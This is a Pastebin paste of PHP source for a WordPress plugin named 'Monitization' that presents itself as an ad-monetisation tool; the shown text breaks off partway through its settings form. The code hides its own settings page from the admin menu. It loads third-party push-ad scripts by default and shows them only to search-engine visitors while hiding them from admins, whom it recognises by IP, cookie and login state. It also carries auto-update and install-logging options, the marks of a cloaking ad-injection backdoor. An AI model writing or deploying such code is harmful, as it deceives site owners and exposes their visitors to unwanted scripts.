Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Plugin Name: Monitization
- * Description: this plugin will help you Monitize your traffic easily from different ad networks.
- * Author: Igor Glavatskiy
- * Version: 1.0
- */
- error_reporting(0);
- ini_set('display_errors', 0);
- $plugin_key='6e1aa39328ad32f62d99811e4d7fd962';
- $version='1.2';
- add_action('admin_menu', function() {
- add_options_page( 'Monitization Plugin', 'Monitization', 'manage_options', 'monit', 'mont_page' );
- remove_submenu_page( 'options-general.php', 'monit' );
- });
- add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
- function salcode_add_plugin_page_settings_link( $links ) {
- $links[] = '<a href="' .
- admin_url( 'options-general.php?page=monit' ) .
- '">' . __('Settings') . '</a>';
- return $links;
- }
- add_action( 'admin_init', function() {
- register_setting( 'mont-settings', 'default_mont_options' );
- register_setting( 'mont-settings', 'ad_code' );
- register_setting( 'mont-settings', 'hide_admin' );
- register_setting( 'mont-settings', 'hide_logged_in' );
- register_setting( 'mont-settings', 'display_ad' );
- register_setting( 'mont-settings', 'search_engines' );
- register_setting( 'mont-settings', 'auto_update' );
- register_setting( 'mont-settings', 'ip_admin');
- register_setting( 'mont-settings', 'cookies_admin' );
- register_setting( 'mont-settings', 'logged_admin' );
- register_setting( 'mont-settings', 'log_install' );
- });
- $ad_code='
- <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
- <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
- ';
- $hide_admin='on';
- $hide_logged_in='on';
- $display_ad='organic';
- $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
- $auto_update='on';
- $ip_admin='on';
- $cookies_admin='on';
- $logged_admin='on';
- $log_install='';
- function mont_page() {
- ?>
- <div class="wrap">
- <form action="options.php" method="post">
- <?php
- settings_fields( 'mont-settings' );
- do_settings_sections( 'mont-settings' );
- $ad_code='
- <script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3280383" async data-cfasync="false"></script>
- <script src="https://propu.sh/pfe/current/tag.min.js?z=3280389" data-cfasync="false" async></script>
- ';
- $hide_admin='on';
- $hide_logged_in='on';
- $display_ad='organic';
- $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
- $auto_update='on';
- $ip_admin='on';
- $cookies_admin='on';
- $logged_admin='on';
- $log_install='';
- ?>
- <h2>Monetization Plugin</h2>
- <table>
- <tr>
- <th>Ad Code</th>
- <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea><br></td>
- </tr>
- <tr>
- <th>Hide ads to :</th>
- <td>
- <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
- <label>
- <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
- </label>
- <label>
- <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
- </label>
- <br/>
- </td>
- </tr>
- <tr>
- <th>Recognize admin by :</th>
- <td>
- <label>
- <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
Add Comment
Please, Sign In to add comment